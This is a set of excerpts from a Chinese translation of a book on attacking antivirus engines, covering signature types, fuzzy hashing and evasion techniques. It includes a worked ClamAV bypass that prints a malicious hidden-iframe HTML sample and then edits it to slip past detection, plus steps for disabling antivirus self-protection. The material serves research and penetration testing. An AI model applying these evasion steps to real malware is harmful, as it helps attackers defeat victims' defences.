    {"text": "黑客攻防技术宝典：反病毒篇 第 6 章 绕过反病毒软件 为了能够绕过一款或多款反病毒软件，病毒作者、渗透测试者以及病毒研究者会使用一些绕过反病毒软件的技术。"},
    {"text": "绕过反病毒软件的技术可以分为两大类：动态和静态。 简单来说，静态绕过是指绕过反病毒软件基于特征码的检测算法，而动态绕过是指绕过反病毒软件针对样本文件行为进行的拦截。 也就是说，在静态层面绕过反病毒软件就是通过更改样本文件中的二进制数据，绕过基于CRC校验码算法、模糊散列或加密散列；"},
    {"text": "在动态层面绕过反病毒软件则需要病毒样本在执行过程中发现当前执行环境是沙盒或反病毒模拟器后，立即变更执行行为，或者调用反病毒模拟器不支持的指令。"},
    {"text": "它也可以设法逃逸出反病毒软件设置的沙盒或“安全隔离”环境，使其恶意行为摆脱反病毒软件的监控。 因此，你可以使用多种技术来绕过反病毒软件的检测。"},
    {"text": "我们经常能听到或看到一些疑问：如果不是为了做坏事，为什么有人想要绕过反病毒软件？ 绕过反病毒软件不是只有“坏人”才会做的事情吗？ 其实，除了病毒作者会使用相关技术绕过反病毒软件的侦测并开展破坏，在渗透测试领域，合法的安全技术专家也会使用相关技术来绕过反病毒软件。 受雇于某些公司开展渗透测试的安全专家有时为了能绕过安装在目标机器上的终端软件的防护技术，也需要用到相关绕过技术。"},
    {"text": "一般的组织机构会使用基于静态或动态的防护系统侦测已知或未知的恶意软件（通过文件可信系统或监控程序执行过程来决定程序行为是否可疑）。"},
    {"text": "比赛过程中，组委会分配给参赛者一组病毒样本进行修改并通过竞赛平台上传恶意代码。 参赛者上传修改过的样本以后，竞赛平台会使用反病毒扫描器检测修改过的样本能否被侦测，是被什么反病毒软件检测到的。 首先使用修改过的病毒样本绕过所有反病毒软件的个人或团体即可赢得比赛。"},
    {"text": "样本是被基于特征码的静态检测技术检测到的，是被基于针对可疑行为的动态监测技术检测到的，还是被防止未知软件执行的文件可信系统检测到的？ 如果样本是被特征码检测到的，相关特征码技术又是在哪些地方获取特征的？"},
    {"text": "是基于PE文件导入的函数进行检测的，是基于样本中的代码或数据块的熵进行检测的，还是匹配样本中部分区块或嵌入样本中文件的某些特定字符串？"},
    {"text": "6.2.1 用于侦测恶意软件的老把戏：分治算法 绕过基于静态特征码（如CRC或简单模式匹配算法）的反病毒扫描器的最古老技巧是：把文件分成细小的若干部分，然后对这些部分逐一分析。"},
    {"text": "虽然这听起来十分幼稚，而且大多数情况下可能都不管用，但是如果反病毒软件使用的是基于校验和的特征码算法或是简单特征匹配检测算法，就会十分有用了。"},
    {"text": "比如，如果要让一个PE文件绕过反病毒软件的检测，将PE文件分成若干部分可能会有效，因为反病毒引擎肯定会首先校验样本文件是否是PE文件。"},
    {"text": "在这里可以使用类似的方法，但与前面将样本文件拆分为不同数据块的方式不同，这里我们将文件拆分成大小递增的小部分：第一个文件包含偏移量为0~256字节的字节码区块，接下来的文件包含偏移量为0~512字节的字节码区块，以此类推。"},
    {"text": "如果新创建的文件被反病毒软件侦测到，就能推测出样本文件是在哪一块以及在哪处偏移被反病毒软件查杀到的。 打个比方，如果样本文件在带有偏移量为2048的数据块时被查杀，这时候可以继续一个字节一个字节地拆分文件，直到最终找出匹配特征对应的偏移量（也可以使用十六进制编辑器打开文件，查看文件中是否有特殊的区域，比如特定的字节排列，然后手动进行相关修改）。"},
    {"text": "在一些情况下，反病毒软件通过加密散列（针对整个文件或者某一数据块）来查杀侦测样本，很有可能是通过校验MD5值。 在这种情况下，你自然而然地需要更改文件内容的一部分或者特定数据块，同时由于用于识别文件的加密散列的单一性，文件的散列值会因为改动而变更，最终导致反病毒软件无法查杀更改过的样本文件，从而绕过了反病毒软件。"},
    {"text": "使用分治算法绕过基于简单特征码的扫描检测 下面这个实验所使用样本的MD5为 8834639bd8664aca00b5599aaab833ea ，原始样本可以被ClamAV检测，并标记为Exploit.HTML.IFrame-6。"},
    {"text": "如果使用clamscan工具扫描以下样本，会得到下面这个结果： $ clamscan -i 8834639bd8664aca00b5599aaab833ea 8834639bd8664aca00b5599aaab833ea: Exploit.HTML.IFrame-6 FOUND ----------- SCAN SUMMARY ----------- Known viruses: 3700704 Engine version: 0.98.1 Scanned directories: 0 Scanned files: 1 Infected files: 1 Data scanned: 0.01 MB Data read: 0.01 MB (ratio 1.00:1) Time: 5.509 sec (0 m 5 s) 如你所见，样本可以成功被ClamAV查杀。"},
    {"text": "脚本代码如下： #!/usr/bin/python import os import sys import time #----------------------------------------------------------------------- def log(msg): print(\"[%s] %s\" % (time.asctime(), msg)) #----------------------------------------------------------------------- class CSplitter: def __init__(self, filename): self.buf = open(filename, \"rb\").read() self.block_size = 256 def split(self, directory): blocks = len(self.buf) / self.block_size for i in xrange(1, blocks): buf = self.buf[:i*self.block_size] path = os.path.join(directory, \"block_%d\" % i) log(\"Writing file %s for block %d (until offset 0x%x)\" % \\ (path, i, self.block_size * i)) f = open(path, \"wb\") f.write(buf) f.close() #----------------------------------------------------------------------- def main(in_path, out_path): splitter = CSplitter(in_path) splitter.split(out_path) #----------------------------------------------------------------------- def usage(): print(\"Usage: \", sys.argv[0], \"<in file> <directory>\") if __name__ == \"__main__\": if len(sys.argv) != 3: usage() else: main(sys.argv[1], sys.argv[2]) 执行 python split.py file directory ，按照上述思路生成若干稍小的文件，直到递增到原始样本文件最终的偏移量处： $ python split.py 8834639bd8664aca00b5599aaab833ea blocks/ [Thu Dec 4 03:46:31 2014] Writing file blocks/block_1 for block 1 (until offset 0x100) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_2 for block 2 (until offset 0x200) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_3 for block 3 (until offset 0x300) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_4 for block 4 (until offset 0x400) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_5 for block 5 (until offset 0x500) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_6 for block 6 (until offset 0x600) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_7 for block 7 (until offset 0x700) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_8 for block 8 (until offset 0x800) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_9 for block 9 (until offset 0x900) [Thu Dec 4 03:46:31 2014] Writing file blocks/block_10 for block 10 (until offset 0xa00) (…more lines skipped…) 脚本生成文件完毕后，再启动 clamscan 反病毒扫描工具，对新生成的样本文件所在的目录进行扫描： $ clamscan -i blocks/block_* blocks/block_10: Exploit.HTML.IFrame-6 FOUND blocks/block_11: Exploit.HTML.IFrame-6 FOUND blocks/block_12: Exploit.HTML.IFrame-6 FOUND blocks/block_13: Exploit.HTML.IFrame-6 FOUND blocks/block_14: Exploit.HTML.IFrame-6 FOUND blocks/block_15: Exploit.HTML.IFrame-6 FOUND blocks/block_16: Exploit.HTML.IFrame-6 FOUND blocks/block_17: Exploit.HTML.IFrame-6 FOUND blocks/block_18: Exploit.HTML.IFrame-6 FOUND blocks/block_19: Exploit.HTML.IFrame-6 FOUND blocks/block_2: Exploit.HTML.IFrame-6 FOUND blocks/block_20: Exploit.HTML.IFrame-6 FOUND blocks/block_21: Exploit.HTML.IFrame-6 FOUND (...) 扫描结果显示，特征码从第二区块开始匹配。"},
    {"text": "如果你使用十六进制编辑器打刚刚生成的blocks/block_2文件，将看到下列结果： $ pyew blocks/block_2 0000 3C 68 74 6D 6C 3E 3C 68 65 61 64 3E 3C 6D 65 74 <html><head><met 0010 61 20 68 74 74 70 2D 65 71 75 69 76 3D 22 43 6F a http-equiv=\"Co 0020 6E 74 65 6E 74 2D 54 79 70 65 22 20 63 6F 6E 74 ntent-Type\" cont 0030 65 6E 74 3D 22 74 65 78 74 2F 68 74 6D 6C 3B 20 ent=\"text/html; 0040 63 68 61 72 73 65 74 3D 77 69 6E 64 6F 77 73 2D charset=windows- 0050 31 32 35 31 22 3E 3C 74 69 74 6C 65 3E C0 FD F0 1251\"><title>... 0060 EE EF F0 E5 F1 F1 20 2D 20 D6 E5 ED F2 F0 20 E4 ...... - ..... . 0070 E5 EB EE E2 EE E9 20 EF F0 E5 F1 F1 FB 3C 2F 74 ...... ......</t 0080 69 74 6C 65 3E 3C 2F 68 65 61 64 3E 0A 3C 62 6F itle></head>.<bo 0090 64 79 20 62 67 63 6F 6C 6F 72 3D 22 23 44 37 44 dy bgcolor=\"#D7D 00A0 32 44 32 22 20 41 4C 49 4E 4B 3D 22 23 44 41 30 2D2\" ALINK=\"#DA0 00B0 30 30 30 22 20 56 4C 49 4E 4B 3D 22 23 39 38 39 000\" VLINK=\"#989 00C0 32 38 44 22 20 4C 49 4E 4B 3D 22 23 34 31 33 41 28D\" LINK=\"#413A 00D0 33 34 22 20 4C 45 46 54 4D 41 52 47 49 4E 3D 22 34\" LEFTMARGIN=\" 00E0 30 22 20 52 49 47 48 54 4D 41 52 47 49 4E 3D 22 0\" RIGHTMARGIN=\" 00F0 30 22 20 54 4F 50 4D 41 52 47 49 4E 3D 22 30 22 0\" TOPMARGIN=\"0\" 0100 3E 3C 69 66 72 61 6D 65 20 73 72 63 3D 22 68 74 ><iframe src=\"ht 0110 74 70 3A 2F 2F 69 6E 74 65 72 6E 65 74 6E 61 6D tp://internetnam 0120 65 73 74 6F 72 65 2E 63 6E 2F 69 6E 2E 63 67 69 estore.cn/in.cgi 0130 3F 69 6E 63 6F 6D 65 32 36 22 20 77 69 64 74 68 ?income26\" width 0140 3D 31 20 68 65 69 67 68 74 3D 31 20 73 74 79 6C =1 height=1 styl 0150 65 3D 22 76 69 73 69 62 69 6C 69 74 79 3A 20 68 e=\"visibility: h 0160 69 64 64 65 6E 22 3E 3C 2F 69 66 72 61 6D 65 3E idden\"></iframe> 0170 0A 3C 54 41 42 4C 45 20 41 4C 49 47 4E 3D 22 43 .<TABLE ALIGN=\"C 0180 45 4E 54 45 52 22 20 56 41 4C 49 47 4E 3D 22 54 ENTER\" VALIGN=\"T 0190 4F 50 22 20 42 4F 52 44 45 52 3D 22 30 22 20 57 OP\" BORDER=\"0\" W 01A0 49 44 54 48 3D 22 37 37 34 22 20 63 65 6C 6C 70 IDTH=\"774\" cellp 01B0 61 64 64 69 6E 67 3D 22 30 22 20 63 65 6C 6C 73 adding=\"0\" cells 01C0 70 61 63 69 6E 67 3D 22 30 22 20 62 67 63 6F 6C pacing=\"0\" bgcol 01D0 6F 72 3D 22 23 44 46 44 44 44 44 22 3E 0A 3C 54 or=\"#DFDDDD\">.<T 01E0 52 3E 0A 3C 54 44 20 57 49 44 54 48 3D 22 32 22 R>.<TD WIDTH=\"2\" 01F0 20 72 6F 77 73 70 61 6E 3D 22 31 33 22 20 62 61 rowspan=\"13\" ba 注意从原始文件中取出的数据块中的 <iframe> 标签。"},
    {"text": "我们可以据此得出一个合理的猜测：反病毒扫描器的特征码查杀过程，似乎是通用基于iframe的特征码进行的，其过程是匹配查找 <iframe> 标签，且可能是一些标签属性。"},
    {"text": "修改完成后，扫描一下试试： $ clamscan modified_block modified_block: Exploit.HTML.IFrame-6 FOUND ----------- SCAN SUMMARY ----------- Known viruses: 3700704 Engine version: 0.98.1 Scanned directories: 0 Scanned files: 1 Infected files: 1 Data scanned: 0.00 MB Data read: 0.00 MB (ratio 0.00:1) Time: 5.581 sec (0 m 5 s) 似乎并没有什么效果。"},
    {"text": "通过比对，可以发现这也是一个十分简单的改动： $ diff modified_block blocks/block_2 2c2 < <body bgcolor=\"#D7D2D2\" ALINK=\"#DA0000\" VLINK=\"#98928D\" LINK=\"#413A34\" LEFTMARGIN=\"0\" RIGHTMARGIN=\"0\" TOPMARGIN=\"0\"><iframe src='http://internetnamestore.cn/in.cgi?income26\" width=1 height=1 style=\"visibility:hidden\"></iframe> --- > <body bgcolor=\"#D7D2D2\" ALINK=\"#DA0000\" VLINK=\"#98928D\" LINK=\"#413A34\" LEFTMARGIN=\"0\" RIGHTMARGIN=\"0\" TOPMARGIN=\"0\"><iframe src=\"http://internetnamestore.cn/in.cgi?income26\" width=1 height=1 style=\"visibility: hidden\"></iframe> 虽然改动十分简单，但是当我们再次运行 clamscan 命令行扫描器进行扫描的时候，会发现如下结果： $ clamscan modified_block modified_block: OK ----------- SCAN SUMMARY ----------- Known viruses: 3700704 Engine version: 0.98.1 Scanned directories: 0 Scanned files: 1 Infected files: 0 Data scanned: 0.00 MB Data read: 0.00 MB (ratio 0.00:1) Time: 5.516 sec (0 m 5 s) 扫描器已经无法识别检测刚刚修改过的样本文件了。"},
    {"text": "现在，只需要根据上面的发现，修改原样本文件，删除文件中的空格，就可以绕过扫描器的侦测了（很显然，我们同时发现了通用的绕过ClamAV针对iframe类恶意软件样本的通用侦测策略）。"},
    {"text": "以先前的例子为例，解开特征码文件后，应该可以找到对应 visibility: hidden 的十六进制查杀特征。 如果找到了纯文本类型的特征码，要绕过反病毒软件就会更容易一些：根据反病毒扫描器查杀恶意软件的特征，对样本文件进行一些修改，这样扫描器就无法识别侦测样本文件了。"},
    {"text": "6.2.2 二进制指令和污点分析 二进制指令分析 是在指令层面监控某一程序的行为。 污点分析 是当数据被 fread 或 recv 等函数读取后，去跟踪探究数据流，并判断传入的数据是如何影响代码流程的。 污点分析程序是程序分析中备受欢迎的一种方法，可以使用不同的二进制指令工具集来编写。"},
    {"text": "你可能想针对你得心应手的二进制指令工具集采用更为复杂的污点分析模块，自动而优雅地追踪传入值的来源（恶意软件样本的字节），并了解数据是如何传递的，以及最终样本是如何被侦测到的。"},
    {"text": "即使文件打开后只被读取一次，它的所有字节都会通过某种方式被触碰到（被污染），因此你可能会收到大量的跟踪记录（大约有上千兆字节）。"},
    {"text": "反病毒引擎读取到的缓冲区内容会通过不同的方式（IPC、Unix网络套接字等）被发送到其他队列去处理，由于客户端部分没有相关检测逻辑，我们或许只能从反病毒软件的服务器获取到样本文件是否是病毒的信息。"},
    {"text": "为了弄明白污点分析引擎记录下的污点数据，你需要修改引擎来覆盖不同方式的扫描方式、文件I/O操作，网络套接字API调用以及缓冲区内容在反病毒内核中的传递方式。 污点分析引擎必须针对新的反病毒引擎作出调整，这就意味着你需要针对特定的反病毒引擎编写丑陋的、硬编码的污点分析引擎代码。"},
    {"text": "6.3 总结 除恶意软件作者外，受雇于某些公司、针对公司防架构开展测试并需要绕过已部署的反病毒产品的渗透测试员，也需要研究使用反病毒软件绕过技术。"},
    {"text": "绕过反病毒软件的技术分为两类：静态和动态。 静态绕过技术主要通过修改样本文件中的某些内容，改变其校验和或散列值，以躲避反病毒软件基于特征码的查杀。 无论是在真实环境还是模拟环境下，恶意软件都会用到动态绕过技术。 恶意软件可以识别反病毒软件，并根据不同情况躲避检测。 本章最后介绍了两种方法，来帮助大家理解反病毒软件是如何绕过反病毒软件的检测的。"},
    {"text": "4.1 典型特征码 即使不同的反病毒引擎使用不同的算法生成特征码，同时几乎所有厂商都有自己生成特征码的算法技术，但我们还是能在它们之间找到一些共通点。"},
    {"text": "4.1.1 字节流 字节流是最简单的反病毒特征码形式，一般不出现在正常文件中，而是仅限于恶意软件中。 比如，要侦测欧洲计算机反病毒协会（EICAR）的测试样本文件，反病毒引擎只需匹配搜索下面这段完整字符串： X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* 如你所见，侦测病毒最简单的方式就是匹配特征字符流，因为其简单而快速。"},
    {"text": "不过这类算法在容易实现的同时也会出现一些问题：如果正常文件中也带有与恶意软件相似的字符串，就会发生误报，也就是说正常文件被反病毒软件当成恶意软件查杀了。"},
    {"text": "该算法的实现原理是，取一个缓冲区的内容作为传入值，经过计算，生成一段校验和形式的、长度一般为4字节的散列（如果使用的是CRC32的话就是32位）。"},
    {"text": "反病毒引擎会通过计算整个缓冲区而不是部分数据（即，第一个2 Kb大小的代码块，最后一个2 Kb大小的代码块，以此类推）的CRC32校验和，或分析文件划分出来的特定部分（即，校验PE或ELF文件的特定区块）来侦测测试样本文件。"},
    {"text": "因为CRC算法的初衷是：检测或校验数据传输或者保存后可能出现的错误，而不是查杀病毒。 因此，在使用CRC32算法进行病毒侦测的过程中，不同文件的校验存在冲突的情况屡见不鲜，也由此产生了针对正常文件的大量误报。 一些反病毒引擎会对匹配查杀过程采取一些额外的校验措施，比如首先取一小段字符串（前缀），接着从前缀处取设定长度的数据，对缓冲区进行CRC32校验。"},
    {"text": "再比如，MD5值为 7f80e21c3d249dd514565eed459548c7 的文件，其CRC32校验和同欧洲反病毒协会的测试样本文件有着相同的校验和，也因此导致不少杀毒软件对其产生了误报，如VirusTotal网站报告所示： https://www.virustotal.com/file/83415a507502e5052d425f2bd3a5b16f25eae3613554629769ba06b4438d17f9/analysis/ 。"},
    {"text": "改进的CRC算法 从目前的分析情况来看，几乎所有反病毒软件都在使用CRC32算法。 但是，在某些情况下，反病毒引擎不会使用原生的CRC32算法，而是使用改进版的算法。"},
    {"text": "一些反病毒引擎会对文件的不同部分生成不同的CRC32校验和（比如文件头部和尾部的CRC32校验和），然后使用计算结果作为联合匹配的特征。"},
    {"text": "最有意思的是，除了让企图进行逆向分析的攻击者不知道相关计算函数的位置、结构以及如何实现外，这类自定义校验算法的行为，对反病毒软件开发者来多并没有多大好处。"},
    {"text": "4.1.4 加密散列算法 加密散列函数针对缓冲区逐一生成特征码，大大降低了误报的可能性（因为这种方式计算出的特征不太可能出现重复冲突）。"},
    {"text": "4.2 高级特征码 不少反病毒软件中使用的特征码并不是简单地通过CRC32算法生成的。 特征码生成算法会因每款反病毒软件而异，其中有一些算法资源消耗会很高，因此这类算法只会在前期其他算法匹配成功的情况下使用。 开发这类特征码生成算法的目的是减少误报，同时最大限度提升对某个恶意软件家族而不仅是单个病毒的侦测能力。"},
    {"text": "目前在互联网上，可以查找到多个加密散列算法的实例，有Andrew Tridgell博士编写的SpamSum、Jesse Kornblum编写的ssdeep，以及Joxean Koret编写的DeepToad。"},
    {"text": "依据反病毒软件开发者设置的冲突率以及算法实现的质量，模糊散列特征算法的误报率会有所不同，但通常情况下会比其他基础特征匹配算法的误报率要低（例如进行简单匹配或匹配校验和）。"},
    {"text": "要绕过加密或基于CRC检验技术的散列函数，抑或简单特征匹配的检测算法，只需要在合适的地方对文件略加改动； 但想要绕过模糊散列校验算法，因为细小的改动不会造成模糊散列值的大变动，所以攻击者需要对恶意软件进行一番大改动。"},
    {"text": "ssdeep会生成下面一段特征码： $ md5sum ls fa97c59cc414e42d4e0e853ddf5b4745 ls $ ssdeep ls ssdeep,1.1--blocksize:hash:hash,filename 1536:MW9/IqY+yF00SZJVWCy62Rnm1lPdOHRXSoyZ03uawcfXN4qMlkW:MW9/ZL/T6ilPdotHaqMlkW ,\" ls\" 第一条命令计算了指定文件的MD5值，最后一条命令计算了指定文件的ssdeep散列值。"},
    {"text": "现在让我们在文件末尾增加一个字节，即字符A，然后重新计算一次MD5值和模糊散列值： $ cp ls ls.mod $ echo \"A\" >> ls.mod $ ssdeep ls.mod ssdeep,1.1--blocksize:hash:hash,filename 1536:MW9/IqY+yF00SZJVWCy62Rnm1lPdOHRXSoyZ03uawcfXN4qMlkWP:MW9/ZL/T6ilPdotHaqMlk WP,\"/home/joxean/Documentos/research/books/tahh/chapter4/ls.mod\" $ md5sum ls.mod 369f8025d9c99bf16652d782273a4285 ls.mod 可以看到MD5值彻底改变了，但ssdeep散列值只变动了一个字节（在ssdeep值末尾多了一个 P ）。"},
    {"text": "这次，将Ubuntu Linux下的文件cp附加到原文件ls上： $ cp ls ls.mod $ cat /bin/cp >> ls.mod $ ssdeep ls.mod ssdeep,1.1--blocksize:hash:hash,filename 3072:MW9/ZL/T6ilPdotHaqMlkWSP9GCr/vr/oWwGqP7WiyJpGjTO:3xZLL1doYplkWoUGqP7WiyJpG ,\"ls.mod\" $ ssdeep ls ssdeep,1.1--blocksize:hash:hash,filename 1536:MW9/IqY+yF00SZJVWCy62Rnm1lPdOHRXSoyZ03uawcfXN4qMlkW:MW9/ZL/T6ilPdotHaqMlkW ,\" ls\" 现在，几乎整个模糊散列值都有了明显的变化，这样就可以绕过这种算法的特征码检测了。"},
    {"text": "但是，绕过特征码检测需要变动位置的数量由区块大小决定：如果区块大小取决于分配的缓冲区的大小且不恒定，绕过此类特征码检测就较为容易。"},
    {"text": "将区块大小配置为512字节，然后计算两个文件的散列值，即原生的/bin和/ls文件，以及修改过的部分： $ deeptoad -b=512 ls NTWPj4+PiIiIiLm5ubklJSUl2tra2gMD;j4+IiLm5JSXa2gMDDAxpaTw81dUJCSQk;c3P29pqaZWU/P 7q6GBhSUtDQ4OBCQqSk;ls $ deeptoad -b=512 ls.mod NTWPj4+PiIiIiLm5ubklJSUl2tra2gMD;j4+IiLm5JSXa2gMDDAxpaTw81dUJCSQk;jIyhoXV1bW2Fh aamsrKwsN7eZWVpaezs;ls.mod 这次通过把cp附加到原文件ls上的技巧就无法绕过特征校验算法了。"},
    {"text": "调用图 展示程序中各函数调用关系的图表（即，展示程序中所有调用和被调用的函数）。 流程图 展示所有函数基础区块和关系的图表（部分只有一个入口点和一个出口点的代码）。"},
    {"text": "反病毒引擎中的代码分析引擎可能会使用从调用图（一张包含程序中所有函数的图表）或流程图（一张展示所有函数基础区块和关系的图表）中提取的特征信息进行分析。"},
    {"text": "反病毒引擎不可能花费几秒或几分钟去分析单个文件，所以一般会选取部分指令和基础区块进行分析，或者设置一个超时值，超过最大时间限制就不再继续分析。"},
    {"text": "比如，如果恶意软件作者发现反病毒软件基于恶意软件中某一函数的流程图特征，对自己编写的恶意软件进行了检测查杀，他可能会模仿正常软件的函数，编写恶意程序相关函数（参见流程图）。"},
    {"text": "因为恶意软件作者的改动导致病毒的新变种同其他正常软件的图表特征相似，所以反病毒工程师发现需要针对新变种提取新的特征，而不是在原有特征基础上进行一些修改。"},
    {"text": "给病毒程序加上反调试功能，这样因为不理解单个或多个调试指令，病毒软件的代码分析引擎就无法反汇编程序内的函数逻辑。 结合反调试和错误断点的技巧，因为错误的指令或代码混淆了反病毒引擎的分析逻辑，引擎无法正确判断什么时候要跳转，也无法分析路径是true还是false。 通过超时技巧让恶意软件的流程图变得复杂，这样反病毒引擎在进行代码分析的时候就会因为超时而终止分析。"},
    {"text": "构造并使用基于程序图的特征码检测的开源实例是GCluster，我们可以拿它作为测试工具，可以在Pyew项目中下载到示例脚本： http://github.com/joxeankoret/pyew 。"},
    {"text": "为了能够分析出样本的可疑度，该工具通过分析程序，针对每个函数的调用图和流程图分别建立二进制列表，并对比了其中的元素、调用图和流程图。"},
    {"text": "下面是使用该工具对两个代码不同但结构（调用图和流程图）完全吻合的恶意软件样本变种的分析结果： $ /home/joxean/pyew/gcluster.py HGWC.ex_ BypassXtrap.ex_ [+] Analyzing file HGWC.ex_ [+] Analyzing file BypassXtrap.ex_ Expert system: Programs are 100% equals Primes system: Programs are 100% equals ALists system: Programs are 100% equals 如果你比对样本的加密散列值，会发现这实际上是两个不同的文件： $ md5sum HGWC.ex_ BypassXtrap.ex_ e1acaf0572d7430106bd813df6640c2e HGWC.ex_ 73be87d0dbcc5ee9863143022ea62f51 BypassXtrap.ex_ 此外，你还会发现，在二进制层面实现的模糊散列等其他高级特征码，对此类二进制样本文件无效，如下面使用ssdeep校验样本文件的结果所示： $ ssdeep HGWC.ex_ BypassXtrap.ex_ ssdeep,1.1-- blocksize:hash:hash,filename12288:faWzgMg7v3qnCiMErQohh0F4CCJ8lnyC8rm2NY: CaHMv6CorjqnyC8 rm2NY,\"/home/joxean/pyew/test/graphs/HGWC.ex_\" 49152:C1vqjdC8rRDMIEQAePhBi70tIZDMIEQAevrv5GZS/ZoE71LGc2eC6JI/Cfnc: C1vqj9fAxYmlfACr5GZAVETeDI/Cvc,\"/home/joxean/pyew/test/graphs/BypassXtrap.ex_\" 很明显，基于程序图的特征码检测技术相较于仅基于字节码的特征检测技术要强大得多；"},
    {"text": "4.3 总结 反病毒特征码在恶意软件防护中扮演着重要的角色，从反病毒引擎成型以来就一直被使用。 同时，特征码也是某种形式的数据库，它们与各种匹配算法形成合力，用来检测恶意软件以及恶意软件家族。"},
    {"text": "但是，由于该种算法通过基础区块间的关系或函数分析文件，而不是基于校验字节流序列，调用图基于程序图的散列算法能十分准确地侦测同一个病毒的变种。"},
    {"text": "下一章将介绍反病毒软件的升级服务，讨论它们是如何实现的，然后通过实际的例子来剖析以及理解在真实世界中反病毒软件是如何进行升级的。"},
    {"text": "内核在将反病毒软件各个重要部分整合在一起的同时，也为它们提供功能上的支持。 比如，扫描器借助反病毒软件内核提供的API，完成针对文件、目录、内存和其他形式的扫描分析。"},
    {"text": "在本章最后，你可以使用Python编写一个能够直接与反病毒产品内核交互的独立工具，然后通过该工具进行模糊测试或探索自动化测试反病毒软件绕过技术。"},
    {"text": "2.1 逆向分析工具 本书中提到的软件逆向分析工具，事实上是指IDA反汇编商业版。 接下来关于反病毒软件逆向分析技巧的介绍，是建立在你对IDA有一定了解的基础之上的，因为你将使用它完成一系列静态和动态的分析任务。"},
    {"text": "2.1.1 命令行工具与GUI工具 目前所有的反病毒产品都提供 图形用户界面 （graphical user interface，GUI），以便用户进行软件配置、结果查看、定时扫描设置等工作。"},
    {"text": "比如，Linux版Avast和卡巴斯基反病毒产品都有各自的病毒查杀服务器以及与之相连的GUI扫描器或命令行扫描器，会向服务器发送扫描请求，并且等待返回的查杀结果。"},
    {"text": "如果没有与逆向分析列表相对应的函数和标签名称，缺少反病毒软件的调试符号，那么逆向分析反病毒产品及其任意模块将会是一项艰巨的任务。"},
    {"text": "当一款反病毒软件可以同时兼容多个系统平台时，这并不意味着它在不同的系统中有不同的源代码。 同样，对于兼容多系统的反病毒产品来说，在不同系统平台版本间共用反病毒软件内核的部分或全部源代码很常见。 在那些情况下，你会发现，只要在一个系统平台上逆向分析了反病毒软件的内核，在另外一个平台上的分析将会变得很容易。"},
    {"text": "比如，反病毒产品没有针对特定的系统平台（比如针对Mac OS X）开发与之兼容的内核，而是直接从另外的供应商处获得反病毒引擎的使用授权。 如果反病毒软件厂商打算将另一个产品的内核整合进自己的产品，只需要更改产品名、版权声明，以及其他一些资源，比如字符串、图标和图像即可。"},
    {"text": "此外，由于反病毒产品的引擎在不同操作系统平台和版本上几乎是相同的（只有一些细小的差异，如系统特定的API和运行时库），你可以把一个平台上的调试符号用在另一个平台上的逆向分析过程中。"},
    {"text": "2.1.3 提取调试符号的技巧 我们已经知道，在类Unix的操作系统中，很有可能获取到反病毒产品的调试符号，本节将用反病毒软件F-Secure作为案例。"},
    {"text": "图2-1展示了通过IDA获取到的F-Secure Windows版本的函数列表。 图2-1 IDA逆向分析出的F-Secure Windows版本函数列表 在图2-2中，IDA通过Linux版本二进制文件中内置的调试符号，列出了有意义的函数名称。"},
    {"text": "图2-2 F-Secure Linux版本的libfmx-linux32.so库在IDA中的逆向分析结果 除了不同平台版本间存在的少数例外，反病毒软件内核几乎是一致的。"},
    {"text": "你可以通过zynamics BinDiff等第三方商业二进制文件对比产品，将Linux版本下的相关调试符号导入到Windows版本下。 可以首先针对两个平台上的库进行二进制分析和对比，接着将相匹配的调试符号，通过右击Matched Functions按钮同时勾选Import Functions and Comments，将Linux版本下的调试符号导出到Windows版本下（参见图2-3）。 图2-3 将调试符号从Linux导出到Windows 在许多时候，与F-Secure反病毒软件只有部分调试符号的情况不同，可能在某些反病毒软件的二进制文件中，你能够提取出带有变量名甚至是标签名的完整调试符号。"},
    {"text": "图2-4展示了借助完整的调试符号，逆向分析Comodo Antivirus中一个库的部分代码。 图2-4 借助完整的调试符号，逆向分析Comodo Linux版本的libPE32.so库 出于某些原因，在操作系统间导出调试符号并不是百分之百可靠的。"},
    {"text": "这就意味着，在不同的系统平台上，即使是相同的C或C++代码，生成的汇编代码也是不同的，这也让比对内部函数和导出调试符号的工作变得更难。"},
    {"text": "在其他一些技术中，还有另外一些导出调试符号的工具，比如本书的作者之一Joxean Koret编写的开源的IDA插件Diaphora，通过使用Hex-Rays反汇编生成的抽象语法树（Abstract Syntax Tree，AST）来进行函数图像比对。"},
    {"text": "2.2 调试技巧 前面几节仅介绍了通过静态分析技术，从你要逆向分析的反病毒产品中获取有用的信息。 本节将介绍如何通过动态分析技术逆向分析你选择的反病毒产品。"},
    {"text": "反病毒软件会采用反调试手段，为研究者了解恶意软件侦测算法的原理设置障碍。 这类反调试技巧使调试反病毒软件的模块变得更有难度，从而难以了解它们是如何侦测恶意软件的，或攻击者是如何利用反病毒软件中解析器的bug来控制程序执行恶意代码的。"},
    {"text": "后门和配置设置 尽管反病毒产品通常会阻止你将相关工具注入到其服务进程上展开调试，不过，如果你采用逆向分析技术，绕过反调试保护并不困难。"},
    {"text": "这些自我保护机制（反病毒公司是这么命名的）通常旨在防止恶意软件注入到反病毒软件的服务进程中，在反病毒软件的进程下创建一个子线程，或者阻止防护进程被强制结束（这是恶意软件经常干的事）。"},
    {"text": "除非反病毒产品已经携带命令行分析扫描器（比如Avira扫描器或Ikarus t3扫描器），否则禁用产品的自我保护机制是使用调试工具开展动态分析工作的第一步。"},
    {"text": "这是因为反病毒公司认为，此类信息只有支持和开发人员会用到：当用户报告了一个问题以后，他们需要调试相关服务和进程，来定位问题产生的原因。"},
    {"text": "尽管没有可以调用该函数的现成工具，你还是可以轻松编写一个工具来加载这个动态链接库，然后使用GUID调用这个函数，以禁用Panda反病毒软件的防护盾。"},
    {"text": "如果反病毒软件的内核驱动只是为了防止产品被禁用，那么只要禁止相关内核驱动加载，就可以轻松禁用反病毒软件的自我保护功能。 要想在Windows平台上禁用内核驱动或系统服务，只要打开注册表编辑器（regedit.exe），然后转到 HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services ，找到反病毒产品安装的驱动，并修改对应的注册表值。"},
